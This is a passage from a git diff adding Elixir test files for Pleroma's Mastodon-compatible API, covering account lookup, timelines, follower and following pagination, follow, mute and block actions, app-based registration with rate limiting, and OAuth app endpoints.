+ name_limit = Pleroma.Config.get([:instance, :account_field_name_length])
+ value_limit = Pleroma.Config.get([:instance, :account_field_value_length])
+
+ long_value = Enum.map(0..value_limit, fn _ -> "x" end) |> Enum.join()
+
+ fields = [%{"name" => "<b>foo<b>", "value" => long_value}]
+
+ assert %{"error" => "Invalid request"} ==
+ conn
+ |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
+ |> json_response(403)
+
+ long_name = Enum.map(0..name_limit, fn _ -> "x" end) |> Enum.join()
+
+ fields = [%{"name" => long_name, "value" => "bar"}]
+
+ assert %{"error" => "Invalid request"} ==
+ conn
+ |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
+ |> json_response(403)
+
+ Pleroma.Config.put([:instance, :max_account_fields], 1)
+
+ fields = [
+ %{"name" => "<b>foo<b>", "value" => "<i>bar</i>"},
+ %{"name" => "link", "value" => "cofe.io"}
+ ]
+
+ assert %{"error" => "Invalid request"} ==
+ conn
+ |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
+ |> json_response(403)
+
+ fields = [
+ %{"name" => "foo", "value" => ""},
+ %{"name" => "", "value" => "bar"}
+ ]
+
+ account =
+ conn
+ |> patch("/api/v1/accounts/update_credentials", %{"fields_attributes" => fields})
+ |> json_response(200)
+
+ assert account["fields"] == [
+ %{"name" => "foo", "value" => ""}
+ ]
+ end
+ end
+end
diff --git a/test/web/mastodon_api/controllers/account_controller_test.exs b/test/web/mastodon_api/controllers/account_controller_test.exs
new file mode 100644
index 000000000..0d4860a42
--- /dev/null
+++ b/test/web/mastodon_api/controllers/account_controller_test.exs
@@ -0,0 +1,841 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.AccountControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Repo
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.ActivityPub
+ alias Pleroma.Web.ActivityPub.InternalFetchActor
+ alias Pleroma.Web.CommonAPI
+ alias Pleroma.Web.OAuth.Token
+
+ import Pleroma.Factory
+
+ describe "account fetching" do
+ test "works by id" do
+ user = insert(:user)
+
+ conn =
+ build_conn()
+ |> get("/api/v1/accounts/#{user.id}")
+
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == to_string(user.id)
+
+ conn =
+ build_conn()
+ |> get("/api/v1/accounts/-1")
+
+ assert %{"error" => "Can't find user"} = json_response(conn, 404)
+ end
+
+ test "works by nickname" do
+ user = insert(:user)
+
+ conn =
+ build_conn()
+ |> get("/api/v1/accounts/#{user.nickname}")
+
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == user.id
+ end
+
+ test "works by nickname for remote users" do
+ limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content])
+ Pleroma.Config.put([:instance, :limit_to_local_content], false)
+ user = insert(:user, nickname: "user@example.com", local: false)
+
+ conn =
+ build_conn()
+ |> get("/api/v1/accounts/#{user.nickname}")
+
+ Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local)
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == user.id
+ end
+
+ test "respects limit_to_local_content == :all for remote user nicknames" do
+ limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content])
+ Pleroma.Config.put([:instance, :limit_to_local_content], :all)
+
+ user = insert(:user, nickname: "user@example.com", local: false)
+
+ conn =
+ build_conn()
+ |> get("/api/v1/accounts/#{user.nickname}")
+
+ Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local)
+ assert json_response(conn, 404)
+ end
+
+ test "respects limit_to_local_content == :unauthenticated for remote user nicknames" do
+ limit_to_local = Pleroma.Config.get([:instance, :limit_to_local_content])
+ Pleroma.Config.put([:instance, :limit_to_local_content], :unauthenticated)
+
+ user = insert(:user, nickname: "user@example.com", local: false)
+ reading_user = insert(:user)
+
+ conn =
+ build_conn()
+ |> get("/api/v1/accounts/#{user.nickname}")
+
+ assert json_response(conn, 404)
+
+ conn =
+ build_conn()
+ |> assign(:user, reading_user)
+ |> assign(:token, insert(:oauth_token, user: reading_user, scopes: ["read:accounts"]))
+ |> get("/api/v1/accounts/#{user.nickname}")
+
+ Pleroma.Config.put([:instance, :limit_to_local_content], limit_to_local)
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == user.id
+ end
+
+ test "accounts fetches correct account for nicknames beginning with numbers", %{conn: conn} do
+ # Need to set an old-style integer ID to reproduce the problem
+ # (these are no longer assigned to new accounts but were preserved
+ # for existing accounts during the migration to flakeIDs)
+ user_one = insert(:user, %{id: 1212})
+ user_two = insert(:user, %{nickname: "#{user_one.id}garbage"})
+
+ resp_one =
+ conn
+ |> get("/api/v1/accounts/#{user_one.id}")
+
+ resp_two =
+ conn
+ |> get("/api/v1/accounts/#{user_two.nickname}")
+
+ resp_three =
+ conn
+ |> get("/api/v1/accounts/#{user_two.id}")
+
+ acc_one = json_response(resp_one, 200)
+ acc_two = json_response(resp_two, 200)
+ acc_three = json_response(resp_three, 200)
+ refute acc_one == acc_two
+ assert acc_two == acc_three
+ end
+
+ test "returns 404 when user is invisible", %{conn: conn} do
+ user = insert(:user, %{invisible: true})
+
+ resp =
+ conn
+ |> get("/api/v1/accounts/#{user.nickname}")
+ |> json_response(404)
+
+ assert %{"error" => "Can't find user"} = resp
+ end
+
+ test "returns 404 for internal.fetch actor", %{conn: conn} do
+ %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor()
+
+ resp =
+ conn
+ |> get("/api/v1/accounts/internal.fetch")
+ |> json_response(404)
+
+ assert %{"error" => "Can't find user"} = resp
+ end
+ end
+
+ describe "user timelines" do
+ setup do: oauth_access(["read:statuses"])
+
+ test "respects blocks", %{user: user_one, conn: conn} do
+ user_two = insert(:user)
+ user_three = insert(:user)
+
+ User.block(user_one, user_two)
+
+ {:ok, activity} = CommonAPI.post(user_two, %{"status" => "User one sux0rz"})
+ {:ok, repeat, _} = CommonAPI.repeat(activity.id, user_three)
+
+ resp = get(conn, "/api/v1/accounts/#{user_two.id}/statuses")
+
+ assert [%{"id" => id}] = json_response(resp, 200)
+ assert id == activity.id
+
+ # Even a blocked user will deliver the full user timeline, there would be
+ # no point in looking at a blocked users timeline otherwise
+ resp = get(conn, "/api/v1/accounts/#{user_two.id}/statuses")
+
+ assert [%{"id" => id}] = json_response(resp, 200)
+ assert id == activity.id
+
+ # Third user's timeline includes the repeat when viewed by unauthenticated user
+ resp = get(build_conn(), "/api/v1/accounts/#{user_three.id}/statuses")
+ assert [%{"id" => id}] = json_response(resp, 200)
+ assert id == repeat.id
+
+ # When viewing a third user's timeline, the blocked users' statuses will NOT be shown
+ resp = get(conn, "/api/v1/accounts/#{user_three.id}/statuses")
+
+ assert [] = json_response(resp, 200)
+ end
+
+ test "gets users statuses", %{conn: conn} do
+ user_one = insert(:user)
+ user_two = insert(:user)
+ user_three = insert(:user)
+
+ {:ok, _user_three} = User.follow(user_three, user_one)
+
+ {:ok, activity} = CommonAPI.post(user_one, %{"status" => "HI!!!"})
+
+ {:ok, direct_activity} =
+ CommonAPI.post(user_one, %{
+ "status" => "Hi, @#{user_two.nickname}.",
+ "visibility" => "direct"
+ })
+
+ {:ok, private_activity} =
+ CommonAPI.post(user_one, %{"status" => "private", "visibility" => "private"})
+
+ resp = get(conn, "/api/v1/accounts/#{user_one.id}/statuses")
+
+ assert [%{"id" => id}] = json_response(resp, 200)
+ assert id == to_string(activity.id)
+
+ resp =
+ conn
+ |> assign(:user, user_two)
+ |> assign(:token, insert(:oauth_token, user: user_two, scopes: ["read:statuses"]))
+ |> get("/api/v1/accounts/#{user_one.id}/statuses")
+
+ assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
+ assert id_one == to_string(direct_activity.id)
+ assert id_two == to_string(activity.id)
+
+ resp =
+ conn
+ |> assign(:user, user_three)
+ |> assign(:token, insert(:oauth_token, user: user_three, scopes: ["read:statuses"]))
+ |> get("/api/v1/accounts/#{user_one.id}/statuses")
+
+ assert [%{"id" => id_one}, %{"id" => id_two}] = json_response(resp, 200)
+ assert id_one == to_string(private_activity.id)
+ assert id_two == to_string(activity.id)
+ end
+
+ test "unimplemented pinned statuses feature", %{conn: conn} do
+ note = insert(:note_activity)
+ user = User.get_cached_by_ap_id(note.data["actor"])
+
+ conn = get(conn, "/api/v1/accounts/#{user.id}/statuses?pinned=true")
+
+ assert json_response(conn, 200) == []
+ end
+
+ test "gets an users media", %{conn: conn} do
+ note = insert(:note_activity)
+ user = User.get_cached_by_ap_id(note.data["actor"])
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ {:ok, %{id: media_id}} = ActivityPub.upload(file, actor: user.ap_id)
+
+ {:ok, image_post} = CommonAPI.post(user, %{"status" => "cofe", "media_ids" => [media_id]})
+
+ conn = get(conn, "/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "true"})
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(image_post.id)
+
+ conn = get(build_conn(), "/api/v1/accounts/#{user.id}/statuses", %{"only_media" => "1"})
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(image_post.id)
+ end
+
+ test "gets a user's statuses without reblogs", %{user: user, conn: conn} do
+ {:ok, post} = CommonAPI.post(user, %{"status" => "HI!!!"})
+ {:ok, _, _} = CommonAPI.repeat(post.id, user)
+
+ conn = get(conn, "/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "true"})
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(post.id)
+
+ conn = get(conn, "/api/v1/accounts/#{user.id}/statuses", %{"exclude_reblogs" => "1"})
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(post.id)
+ end
+
+ test "filters user's statuses by a hashtag", %{user: user, conn: conn} do
+ {:ok, post} = CommonAPI.post(user, %{"status" => "#hashtag"})
+ {:ok, _post} = CommonAPI.post(user, %{"status" => "hashtag"})
+
+ conn = get(conn, "/api/v1/accounts/#{user.id}/statuses", %{"tagged" => "hashtag"})
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(post.id)
+ end
+
+ test "the user views their own timelines and excludes direct messages", %{
+ user: user,
+ conn: conn
+ } do
+ {:ok, public_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "public"})
+ {:ok, _direct_activity} = CommonAPI.post(user, %{"status" => ".", "visibility" => "direct"})
+
+ conn =
+ get(conn, "/api/v1/accounts/#{user.id}/statuses", %{"exclude_visibilities" => ["direct"]})
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(public_activity.id)
+ end
+ end
+
+ describe "followers" do
+ setup do: oauth_access(["read:accounts"])
+
+ test "getting followers", %{user: user, conn: conn} do
+ other_user = insert(:user)
+ {:ok, user} = User.follow(user, other_user)
+
+ conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers")
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(user.id)
+ end
+
+ test "getting followers, hide_followers", %{user: user, conn: conn} do
+ other_user = insert(:user, hide_followers: true)
+ {:ok, _user} = User.follow(user, other_user)
+
+ conn = get(conn, "/api/v1/accounts/#{other_user.id}/followers")
+
+ assert [] == json_response(conn, 200)
+ end
+
+ test "getting followers, hide_followers, same user requesting" do
+ user = insert(:user)
+ other_user = insert(:user, hide_followers: true)
+ {:ok, _user} = User.follow(user, other_user)
+
+ conn =
+ build_conn()
+ |> assign(:user, other_user)
+ |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))
+ |> get("/api/v1/accounts/#{other_user.id}/followers")
+
+ refute [] == json_response(conn, 200)
+ end
+
+ test "getting followers, pagination", %{user: user, conn: conn} do
+ follower1 = insert(:user)
+ follower2 = insert(:user)
+ follower3 = insert(:user)
+ {:ok, _} = User.follow(follower1, user)
+ {:ok, _} = User.follow(follower2, user)
+ {:ok, _} = User.follow(follower3, user)
+
+ res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?since_id=#{follower1.id}")
+
+ assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
+ assert id3 == follower3.id
+ assert id2 == follower2.id
+
+ res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?max_id=#{follower3.id}")
+
+ assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
+ assert id2 == follower2.id
+ assert id1 == follower1.id
+
+ res_conn = get(conn, "/api/v1/accounts/#{user.id}/followers?limit=1&max_id=#{follower3.id}")
+
+ assert [%{"id" => id2}] = json_response(res_conn, 200)
+ assert id2 == follower2.id
+
+ assert [link_header] = get_resp_header(res_conn, "link")
+ assert link_header =~ ~r/min_id=#{follower2.id}/
+ assert link_header =~ ~r/max_id=#{follower2.id}/
+ end
+ end
+
+ describe "following" do
+ setup do: oauth_access(["read:accounts"])
+
+ test "getting following", %{user: user, conn: conn} do
+ other_user = insert(:user)
+ {:ok, user} = User.follow(user, other_user)
+
+ conn = get(conn, "/api/v1/accounts/#{user.id}/following")
+
+ assert [%{"id" => id}] = json_response(conn, 200)
+ assert id == to_string(other_user.id)
+ end
+
+ test "getting following, hide_follows, other user requesting" do
+ user = insert(:user, hide_follows: true)
+ other_user = insert(:user)
+ {:ok, user} = User.follow(user, other_user)
+
+ conn =
+ build_conn()
+ |> assign(:user, other_user)
+ |> assign(:token, insert(:oauth_token, user: other_user, scopes: ["read:accounts"]))
+ |> get("/api/v1/accounts/#{user.id}/following")
+
+ assert [] == json_response(conn, 200)
+ end
+
+ test "getting following, hide_follows, same user requesting" do
+ user = insert(:user, hide_follows: true)
+ other_user = insert(:user)
+ {:ok, user} = User.follow(user, other_user)
+
+ conn =
+ build_conn()
+ |> assign(:user, user)
+ |> assign(:token, insert(:oauth_token, user: user, scopes: ["read:accounts"]))
+ |> get("/api/v1/accounts/#{user.id}/following")
+
+ refute [] == json_response(conn, 200)
+ end
+
+ test "getting following, pagination", %{user: user, conn: conn} do
+ following1 = insert(:user)
+ following2 = insert(:user)
+ following3 = insert(:user)
+ {:ok, _} = User.follow(user, following1)
+ {:ok, _} = User.follow(user, following2)
+ {:ok, _} = User.follow(user, following3)
+
+ res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?since_id=#{following1.id}")
+
+ assert [%{"id" => id3}, %{"id" => id2}] = json_response(res_conn, 200)
+ assert id3 == following3.id
+ assert id2 == following2.id
+
+ res_conn = get(conn, "/api/v1/accounts/#{user.id}/following?max_id=#{following3.id}")
+
+ assert [%{"id" => id2}, %{"id" => id1}] = json_response(res_conn, 200)
+ assert id2 == following2.id
+ assert id1 == following1.id
+
+ res_conn =
+ get(conn, "/api/v1/accounts/#{user.id}/following?limit=1&max_id=#{following3.id}")
+
+ assert [%{"id" => id2}] = json_response(res_conn, 200)
+ assert id2 == following2.id
+
+ assert [link_header] = get_resp_header(res_conn, "link")
+ assert link_header =~ ~r/min_id=#{following2.id}/
+ assert link_header =~ ~r/max_id=#{following2.id}/
+ end
+ end
+
+ describe "follow/unfollow" do
+ setup do: oauth_access(["follow"])
+
+ test "following / unfollowing a user", %{conn: conn} do
+ other_user = insert(:user)
+
+ ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/follow")
+
+ assert %{"id" => _id, "following" => true} = json_response(ret_conn, 200)
+
+ ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/unfollow")
+
+ assert %{"id" => _id, "following" => false} = json_response(ret_conn, 200)
+
+ conn = post(conn, "/api/v1/follows", %{"uri" => other_user.nickname})
+
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == to_string(other_user.id)
+ end
+
+ test "following without reblogs" do
+ %{conn: conn} = oauth_access(["follow", "read:statuses"])
+ followed = insert(:user)
+ other_user = insert(:user)
+
+ ret_conn = post(conn, "/api/v1/accounts/#{followed.id}/follow?reblogs=false")
+
+ assert %{"showing_reblogs" => false} = json_response(ret_conn, 200)
+
+ {:ok, activity} = CommonAPI.post(other_user, %{"status" => "hey"})
+ {:ok, reblog, _} = CommonAPI.repeat(activity.id, followed)
+
+ ret_conn = get(conn, "/api/v1/timelines/home")
+
+ assert [] == json_response(ret_conn, 200)
+
+ ret_conn = post(conn, "/api/v1/accounts/#{followed.id}/follow?reblogs=true")
+
+ assert %{"showing_reblogs" => true} = json_response(ret_conn, 200)
+
+ conn = get(conn, "/api/v1/timelines/home")
+
+ expected_activity_id = reblog.id
+ assert [%{"id" => ^expected_activity_id}] = json_response(conn, 200)
+ end
+
+ test "following / unfollowing errors", %{user: user, conn: conn} do
+ # self follow
+ conn_res = post(conn, "/api/v1/accounts/#{user.id}/follow")
+ assert %{"error" => "Record not found"} = json_response(conn_res, 404)
+
+ # self unfollow
+ user = User.get_cached_by_id(user.id)
+ conn_res = post(conn, "/api/v1/accounts/#{user.id}/unfollow")
+ assert %{"error" => "Record not found"} = json_response(conn_res, 404)
+
+ # self follow via uri
+ user = User.get_cached_by_id(user.id)
+ conn_res = post(conn, "/api/v1/follows", %{"uri" => user.nickname})
+ assert %{"error" => "Record not found"} = json_response(conn_res, 404)
+
+ # follow non existing user
+ conn_res = post(conn, "/api/v1/accounts/doesntexist/follow")
+ assert %{"error" => "Record not found"} = json_response(conn_res, 404)
+
+ # follow non existing user via uri
+ conn_res = post(conn, "/api/v1/follows", %{"uri" => "doesntexist"})
+ assert %{"error" => "Record not found"} = json_response(conn_res, 404)
+
+ # unfollow non existing user
+ conn_res = post(conn, "/api/v1/accounts/doesntexist/unfollow")
+ assert %{"error" => "Record not found"} = json_response(conn_res, 404)
+ end
+ end
+
+ describe "mute/unmute" do
+ setup do: oauth_access(["write:mutes"])
+
+ test "with notifications", %{conn: conn} do
+ other_user = insert(:user)
+
+ ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/mute")
+
+ response = json_response(ret_conn, 200)
+
+ assert %{"id" => _id, "muting" => true, "muting_notifications" => true} = response
+
+ conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute")
+
+ response = json_response(conn, 200)
+ assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response
+ end
+
+ test "without notifications", %{conn: conn} do
+ other_user = insert(:user)
+
+ ret_conn =
+ post(conn, "/api/v1/accounts/#{other_user.id}/mute", %{"notifications" => "false"})
+
+ response = json_response(ret_conn, 200)
+
+ assert %{"id" => _id, "muting" => true, "muting_notifications" => false} = response
+
+ conn = post(conn, "/api/v1/accounts/#{other_user.id}/unmute")
+
+ response = json_response(conn, 200)
+ assert %{"id" => _id, "muting" => false, "muting_notifications" => false} = response
+ end
+ end
+
+ describe "pinned statuses" do
+ setup do
+ user = insert(:user)
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})
+ %{conn: conn} = oauth_access(["read:statuses"], user: user)
+
+ [conn: conn, user: user, activity: activity]
+ end
+
+ test "returns pinned statuses", %{conn: conn, user: user, activity: activity} do
+ {:ok, _} = CommonAPI.pin(activity.id, user)
+
+ result =
+ conn
+ |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
+ |> json_response(200)
+
+ id_str = to_string(activity.id)
+
+ assert [%{"id" => ^id_str, "pinned" => true}] = result
+ end
+ end
+
+ test "blocking / unblocking a user" do
+ %{conn: conn} = oauth_access(["follow"])
+ other_user = insert(:user)
+
+ ret_conn = post(conn, "/api/v1/accounts/#{other_user.id}/block")
+
+ assert %{"id" => _id, "blocking" => true} = json_response(ret_conn, 200)
+
+ conn = post(conn, "/api/v1/accounts/#{other_user.id}/unblock")
+
+ assert %{"id" => _id, "blocking" => false} = json_response(conn, 200)
+ end
+
+ describe "create account by app" do
+ setup do
+ valid_params = %{
+ username: "lain",
+ email: "lain@example.org",
+ password: "PlzDontHackLain",
+ agreement: true
+ }
+
+ [valid_params: valid_params]
+ end
+
+ test "Account registration via Application", %{conn: conn} do
+ conn =
+ post(conn, "/api/v1/apps", %{
+ client_name: "client_name",
+ redirect_uris: "urn:ietf:wg:oauth:2.0:oob",
+ scopes: "read, write, follow"
+ })
+
+ %{
+ "client_id" => client_id,
+ "client_secret" => client_secret,
+ "id" => _,
+ "name" => "client_name",
+ "redirect_uri" => "urn:ietf:wg:oauth:2.0:oob",
+ "vapid_key" => _,
+ "website" => nil
+ } = json_response(conn, 200)
+
+ conn =
+ post(conn, "/oauth/token", %{
+ grant_type: "client_credentials",
+ client_id: client_id,
+ client_secret: client_secret
+ })
+
+ assert %{"access_token" => token, "refresh_token" => refresh, "scope" => scope} =
+ json_response(conn, 200)
+
+ assert token
+ token_from_db = Repo.get_by(Token, token: token)
+ assert token_from_db
+ assert refresh
+ assert scope == "read write follow"
+
+ conn =
+ build_conn()
+ |> put_req_header("authorization", "Bearer " <> token)
+ |> post("/api/v1/accounts", %{
+ username: "lain",
+ email: "lain@example.org",
+ password: "PlzDontHackLain",
+ bio: "Test Bio",
+ agreement: true
+ })
+
+ %{
+ "access_token" => token,
+ "created_at" => _created_at,
+ "scope" => _scope,
+ "token_type" => "Bearer"
+ } = json_response(conn, 200)
+
+ token_from_db = Repo.get_by(Token, token: token)
+ assert token_from_db
+ token_from_db = Repo.preload(token_from_db, :user)
+ assert token_from_db.user
+
+ assert token_from_db.user.confirmation_pending
+ end
+
+ test "returns error when user already registred", %{conn: conn, valid_params: valid_params} do
+ _user = insert(:user, email: "lain@example.org")
+ app_token = insert(:oauth_token, user: nil)
+
+ conn =
+ conn
+ |> put_req_header("authorization", "Bearer " <> app_token.token)
+
+ res = post(conn, "/api/v1/accounts", valid_params)
+ assert json_response(res, 400) == %{"error" => "{\"email\":[\"has already been taken\"]}"}
+ end
+
+ test "rate limit", %{conn: conn} do
+ app_token = insert(:oauth_token, user: nil)
+
+ conn =
+ conn
+ |> put_req_header("authorization", "Bearer " <> app_token.token)
+ |> Map.put(:remote_ip, {15, 15, 15, 15})
+
+ for i <- 1..5 do
+ conn =
+ post(conn, "/api/v1/accounts", %{
+ username: "#{i}lain",
+ email: "#{i}lain@example.org",
+ password: "PlzDontHackLain",
+ agreement: true
+ })
+
+ %{
+ "access_token" => token,
+ "created_at" => _created_at,
+ "scope" => _scope,
+ "token_type" => "Bearer"
+ } = json_response(conn, 200)
+
+ token_from_db = Repo.get_by(Token, token: token)
+ assert token_from_db
+ token_from_db = Repo.preload(token_from_db, :user)
+ assert token_from_db.user
+
+ assert token_from_db.user.confirmation_pending
+ end
+
+ conn =
+ post(conn, "/api/v1/accounts", %{
+ username: "6lain",
+ email: "6lain@example.org",
+ password: "PlzDontHackLain",
+ agreement: true
+ })
+
+ assert json_response(conn, :too_many_requests) == %{"error" => "Throttled"}
+ end
+
+ test "returns bad_request if missing required params", %{
+ conn: conn,
+ valid_params: valid_params
+ } do
+ app_token = insert(:oauth_token, user: nil)
+
+ conn = put_req_header(conn, "authorization", "Bearer " <> app_token.token)
+
+ res = post(conn, "/api/v1/accounts", valid_params)
+ assert json_response(res, 200)
+
+ [{127, 0, 0, 1}, {127, 0, 0, 2}, {127, 0, 0, 3}, {127, 0, 0, 4}]
+ |> Stream.zip(valid_params)
+ |> Enum.each(fn {ip, {attr, _}} ->
+ res =
+ conn
+ |> Map.put(:remote_ip, ip)
+ |> post("/api/v1/accounts", Map.delete(valid_params, attr))
+ |> json_response(400)
+
+ assert res == %{"error" => "Missing parameters"}
+ end)
+ end
+
+ test "returns forbidden if token is invalid", %{conn: conn, valid_params: valid_params} do
+ conn = put_req_header(conn, "authorization", "Bearer " <> "invalid-token")
+
+ res = post(conn, "/api/v1/accounts", valid_params)
+ assert json_response(res, 403) == %{"error" => "Invalid credentials"}
+ end
+ end
+
+ describe "GET /api/v1/accounts/:id/lists - account_lists" do
+ test "returns lists to which the account belongs" do
+ %{user: user, conn: conn} = oauth_access(["read:lists"])
+ other_user = insert(:user)
+ assert {:ok, %Pleroma.List{} = list} = Pleroma.List.create("Test List", user)
+ {:ok, %{following: _following}} = Pleroma.List.follow(list, other_user)
+
+ res =
+ conn
+ |> get("/api/v1/accounts/#{other_user.id}/lists")
+ |> json_response(200)
+
+ assert res == [%{"id" => to_string(list.id), "title" => "Test List"}]
+ end
+ end
+
+ describe "verify_credentials" do
+ test "verify_credentials" do
+ %{user: user, conn: conn} = oauth_access(["read:accounts"])
+ conn = get(conn, "/api/v1/accounts/verify_credentials")
+
+ response = json_response(conn, 200)
+
+ assert %{"id" => id, "source" => %{"privacy" => "public"}} = response
+ assert response["pleroma"]["chat_token"]
+ assert id == to_string(user.id)
+ end
+
+ test "verify_credentials default scope unlisted" do
+ user = insert(:user, default_scope: "unlisted")
+ %{conn: conn} = oauth_access(["read:accounts"], user: user)
+
+ conn = get(conn, "/api/v1/accounts/verify_credentials")
+
+ assert %{"id" => id, "source" => %{"privacy" => "unlisted"}} = json_response(conn, 200)
+ assert id == to_string(user.id)
+ end
+
+ test "locked accounts" do
+ user = insert(:user, default_scope: "private")
+ %{conn: conn} = oauth_access(["read:accounts"], user: user)
+
+ conn = get(conn, "/api/v1/accounts/verify_credentials")
+
+ assert %{"id" => id, "source" => %{"privacy" => "private"}} = json_response(conn, 200)
+ assert id == to_string(user.id)
+ end
+ end
+
+ describe "user relationships" do
+ setup do: oauth_access(["read:follows"])
+
+ test "returns the relationships for the current user", %{user: user, conn: conn} do
+ other_user = insert(:user)
+ {:ok, _user} = User.follow(user, other_user)
+
+ conn = get(conn, "/api/v1/accounts/relationships", %{"id" => [other_user.id]})
+
+ assert [relationship] = json_response(conn, 200)
+
+ assert to_string(other_user.id) == relationship["id"]
+ end
+
+ test "returns an empty list on a bad request", %{conn: conn} do
+ conn = get(conn, "/api/v1/accounts/relationships", %{})
+
+ assert [] = json_response(conn, 200)
+ end
+ end
+
+ test "getting a list of mutes" do
+ %{user: user, conn: conn} = oauth_access(["read:mutes"])
+ other_user = insert(:user)
+
+ {:ok, _user_relationships} = User.mute(user, other_user)
+
+ conn = get(conn, "/api/v1/mutes")
+
+ other_user_id = to_string(other_user.id)
+ assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
+ end
+
+ test "getting a list of blocks" do
+ %{user: user, conn: conn} = oauth_access(["read:blocks"])
+ other_user = insert(:user)
+
+ {:ok, _user_relationship} = User.block(user, other_user)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/blocks")
+
+ other_user_id = to_string(other_user.id)
+ assert [%{"id" => ^other_user_id}] = json_response(conn, 200)
+ end
+end
diff --git a/test/web/mastodon_api/controllers/app_controller_test.exs b/test/web/mastodon_api/controllers/app_controller_test.exs
new file mode 100644
index 000000000..51788155b
--- /dev/null
+++ b/test/web/mastodon_api/controllers/app_controller_test.exs
@@ -0,0 +1,60 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.AppControllerTest do
+ use Pleroma.Web.ConnCase, async: true
+
+ alias Pleroma.Repo
+ alias Pleroma.Web.OAuth.App
+ alias Pleroma.Web.Push
+
+ import Pleroma.Factory
+
+ test "apps/verify_credentials", %{conn: conn} do
+ token = insert(:oauth_token)
+
+ conn =
+ conn
+ |> assign(:user, token.user)
+ |> assign(:token, token)
+ |> get("/api/v1/apps/verify_credentials")
+
+ app = Repo.preload(token, :app).app
+
+ expected = %{
+ "name" => app.client_name,
+ "website" => app.website,
+ "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key)
+ }
+
+ assert expected == json_response(conn, 200)
+ end
+
+ test "creates an oauth app", %{conn: conn} do
+ user = insert(:user)
+ app_attrs = build(:oauth_app)
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/apps", %{
+ client_name: app_attrs.client_name,
+ redirect_uris: app_attrs.redirect_uris
+ })
+
+ [app] = Repo.all(App)
+
+ expected = %{
+ "name" => app.client_name,
+ "website" => app.website,
+ "client_id" => app.client_id,
+ "client_secret" => app.client_secret,
+ "id" => app.id |> to_string(),
+ "redirect_uri" => app.redirect_uris,
+ "vapid_key" => Push.vapid_config() |> Keyword.get(:public_key)
+ }
+
+ assert expected == json_response(conn, 200)
+ end
+end
diff --git a/test/web/mastodon_api/controllers/auth_controller_test.exs b/test/web/mastodon_api/controllers/auth_controller_test.exs
new file mode 100644
index 000000000..98b2a82e7
--- /dev/null
+++ b/test/web/mastodon_api/controllers/auth_controller_test.exs
@@ -0,0 +1,121 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.AuthControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Config
+ alias Pleroma.Repo
+ alias Pleroma.Tests.ObanHelpers
+
+ import Pleroma.Factory
+ import Swoosh.TestAssertions
+
+ describe "GET /web/login" do
+ setup %{conn: conn} do
+ session_opts = [
+ store: :cookie,
+ key: "_test",
+ signing_salt: "cooldude"
+ ]
+
+ conn =
+ conn
+ |> Plug.Session.call(Plug.Session.init(session_opts))
+ |> fetch_session()
+
+ test_path = "/web/statuses/test"
+ %{conn: conn, path: test_path}
+ end
+
+ test "redirects to the saved path after log in", %{conn: conn, path: path} do
+ app = insert(:oauth_app, client_name: "Mastodon-Local", redirect_uris: ".")
+ auth = insert(:oauth_authorization, app: app)
+
+ conn =
+ conn
+ |> put_session(:return_to, path)
+ |> get("/web/login", %{code: auth.token})
+
+ assert conn.status == 302
+ assert redirected_to(conn) == path
+ end
+
+ test "redirects to the getting-started page when referer is not present", %{conn: conn} do
